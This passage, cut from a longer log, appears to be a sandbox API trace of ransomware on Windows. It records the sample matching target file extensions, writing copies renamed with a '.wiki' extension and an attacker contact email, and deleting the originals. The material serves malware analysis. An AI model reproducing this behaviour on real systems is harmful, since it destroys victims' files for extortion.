lstrlenW (lpString=".xls") returned 4 [0064.417] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.417] lstrlenW (lpString=".xlsx") returned 5 [0064.417] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.417] lstrlenW (lpString=".ppt") returned 4 [0064.417] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0064.417] lstrlenW (lpString=".zip") returned 4 [0064.417] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.417] lstrlenW (lpString=".rar") returned 4 [0064.417] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.417] lstrlenW (lpString=".bz2") returned 4 [0064.417] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.417] lstrlenW (lpString=".7z") returned 3 [0064.417] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0064.417] lstrlenW (lpString=".dbf") returned 4 [0064.417] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0064.417] lstrlenW (lpString=".1cd") returned 4 [0064.417] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0064.417] lstrlenW (lpString=".jpg") returned 4 [0064.418] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.418] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0064.418] lstrlenW (lpString="IpsMigrationPlugin.dll.mui") returned 26 [0064.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0064.418] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2560) returned 1 [0064.418] CloseHandle (hObject=0x228) returned 1 [0064.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0064.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0064.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0064.418] lstrlenW (lpString=".doc") returned 4 [0064.418] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.418] lstrlenW (lpString=".docx") returned 5 [0064.418] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.418] lstrlenW (lpString=".pdf") returned 4 [0064.418] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.419] lstrlenW (lpString=".xls") returned 4 [0064.419] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.419] lstrlenW (lpString=".xlsx") returned 5 [0064.419] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.419] lstrlenW (lpString=".ppt") returned 4 [0064.419] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0064.419] lstrlenW (lpString=".zip") returned 4 [0064.419] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.419] lstrlenW (lpString=".rar") returned 4 [0064.419] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.419] lstrlenW (lpString=".bz2") returned 4 [0064.419] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.419] lstrlenW (lpString=".7z") returned 3 [0064.419] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0064.419] lstrlenW (lpString=".dbf") returned 4 [0064.419] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0064.419] lstrlenW (lpString=".1cd") returned 4 [0064.419] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0064.419] lstrlenW (lpString=".jpg") returned 4 [0064.419] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0064.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0064.419] lstrlenW (lpString=".doc") returned 4 [0064.419] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.419] lstrlenW (lpString=".docx") returned 5 [0064.419] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.419] lstrlenW (lpString=".pdf") returned 4 [0064.419] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.419] lstrlenW (lpString=".xls") returned 4 [0064.419] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.419] lstrlenW (lpString=".xlsx") returned 5 [0064.420] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.420] lstrlenW (lpString=".ppt") returned 4 [0064.420] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0064.420] lstrlenW (lpString=".zip") returned 4 [0064.420] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.420] lstrlenW (lpString=".rar") returned 4 [0064.420] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.420] lstrlenW (lpString=".bz2") returned 4 [0064.420] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.420] lstrlenW (lpString=".7z") returned 3 [0064.420] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0064.420] lstrlenW (lpString=".dbf") returned 4 [0064.420] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0064.420] lstrlenW (lpString=".1cd") returned 4 [0064.420] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0064.420] lstrlenW (lpString=".jpg") returned 4 [0064.420] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.420] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0064.420] lstrlenW (lpString="micaut.dll.mui") returned 14 [0064.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0064.558] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=8704) returned 1 [0064.558] CloseHandle (hObject=0x1fc) returned 1 [0064.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0064.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0064.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0064.559] lstrlenW (lpString=".doc") returned 4 [0064.559] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.559] lstrlenW (lpString=".docx") returned 5 [0064.559] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.559] lstrlenW (lpString=".pdf") returned 4 [0064.559] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.559] lstrlenW (lpString=".xls") returned 4 [0064.559] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.559] lstrlenW (lpString=".xlsx") returned 5 [0064.559] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.559] lstrlenW (lpString=".ppt") returned 4 [0064.559] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0064.559] lstrlenW (lpString=".zip") returned 4 [0064.559] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.559] lstrlenW (lpString=".rar") returned 4 [0064.559] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.559] lstrlenW (lpString=".bz2") returned 4 [0064.559] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.559] lstrlenW (lpString=".7z") returned 3 [0064.559] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0064.559] lstrlenW (lpString=".dbf") returned 4 [0064.559] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0066.023] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.024] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0066.024] GetLastError () returned 0x0 [0066.024] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2ecfed4*=0xd980, lpOverlapped=0x0) returned 1 [0066.029] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xd990, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xd990, lpOverlapped=0x0) returned 1 [0066.030] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0066.030] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xfa, lpOverlapped=0x0) returned 1 [0066.030] SetEndOfFile (hFile=0x21c) returned 1 [0066.030] CloseHandle (hObject=0x21c) returned 1 [0066.030] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.031] SetEndOfFile (hFile=0x1dc) returned 1 [0066.032] CloseHandle (hObject=0x1dc) returned 1 [0066.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0066.032] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 1 [0066.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0066.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0066.032] lstrlenW (lpString=".doc") returned 4 [0066.032] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0066.032] lstrlenW (lpString=".docx") returned 5 [0066.032] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0066.032] lstrlenW (lpString=".pdf") returned 4 [0066.032] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0066.032] lstrlenW (lpString=".xls") returned 4 [0066.032] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0066.032] lstrlenW (lpString=".xlsx") returned 5 [0066.033] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0066.033] lstrlenW (lpString=".ppt") returned 4 [0066.033] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0066.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0066.033] lstrlenW (lpString=".zip") returned 4 [0066.033] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0066.033] lstrlenW (lpString=".rar") returned 4 [0066.033] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0066.033] lstrlenW (lpString=".bz2") returned 4 [0066.033] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0066.033] lstrlenW (lpString=".7z") returned 3 [0066.033] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0066.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0066.033] lstrlenW (lpString=".dbf") returned 4 [0066.033] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0066.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0066.033] lstrlenW (lpString=".1cd") returned 4 [0066.033] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0066.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0066.033] lstrlenW (lpString=".jpg") returned 4 [0066.033] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0066.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0066.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0066.033] lstrlenW (lpString=".doc") returned 4 [0066.033] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0066.033] lstrlenW (lpString=".docx") returned 5 [0066.033] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0066.033] lstrlenW (lpString=".pdf") returned 4 [0066.033] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0066.033] lstrlenW (lpString=".xls") returned 4 [0066.033] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0066.033] lstrlenW (lpString=".xlsx") returned 5 [0066.033] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0066.033] lstrlenW (lpString=".ppt") returned 4 [0066.033] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0066.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0066.034] lstrlenW (lpString=".zip") returned 4 [0066.034] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0066.034] lstrlenW (lpString=".rar") returned 4 [0066.034] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0066.034] lstrlenW (lpString=".bz2") returned 4 [0066.034] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0066.034] lstrlenW (lpString=".7z") returned 3 [0066.034] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0066.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0066.034] lstrlenW (lpString=".dbf") returned 4 [0066.034] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0066.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0066.034] lstrlenW (lpString=".1cd") returned 4 [0066.034] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0066.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0066.034] lstrlenW (lpString=".jpg") returned 4 [0066.034] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0066.034] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".wiki") returned -1 [0066.034] lstrlenW (lpString="MSOINTL.REST.IDX_DLL") returned 20 [0066.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0066.035] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1388416) returned 1 [0066.035] CloseHandle (hObject=0x1dc) returned 1 [0066.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 0x20 [0066.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0066.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0066.035] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.035] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0066.036] GetLastError () returned 0x0 [0066.036] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2ecfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0066.456] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0066.472] ReadFile (hFile=0x1dc, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0) Thread: id = 17 os_tid = 0xabc [0042.867] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10000) returned 0x3990260 [0042.868] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10000) returned 0x39a0268 [0042.868] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x7103d0 [0042.868] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x6) returned 0x7130d8 [0042.868] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x7103e8 [0042.868] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x100000) returned 0x3b90020 [0042.868] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710400 [0042.868] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x710400, Size=0x20) returned 0x73f930 [0042.868] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710400 [0042.868] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x710400, Size=0x20) returned 0x73f958 [0042.868] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0042.869] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0042.869] Wow64DisableWow64FsRedirection (in: OldValue=0x300ff58 | out: OldValue=0x300ff58*=0x0) returned 1 [0042.869] lstrlenW (lpString="kernel32.dll") returned 12 [0042.869] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x73f930 | out: hHeap=0x6c0000) returned 1 [0042.869] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0042.869] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x73f958 | out: hHeap=0x6c0000) returned 1 [0042.869] Sleep (dwMilliseconds=0x64) [0043.130] Sleep (dwMilliseconds=0x64) [0043.309] Sleep (dwMilliseconds=0x64) [0043.690] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0043.690] lstrlenW (lpString="Setup.xml") returned 9 [0043.690] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0043.690] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2424) returned 1 [0043.690] CloseHandle (hObject=0x190) returned 1 [0043.690] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0043.690] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.691] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0043.691] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.691] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.691] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.631] GetLastError () returned 0x0 [0044.631] ReadFile (in: hFile=0x190, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x978, lpOverlapped=0x0) returned 1 [0044.699] WriteFile (in: hFile=0x178, lpBuffer=0x3b90020*, 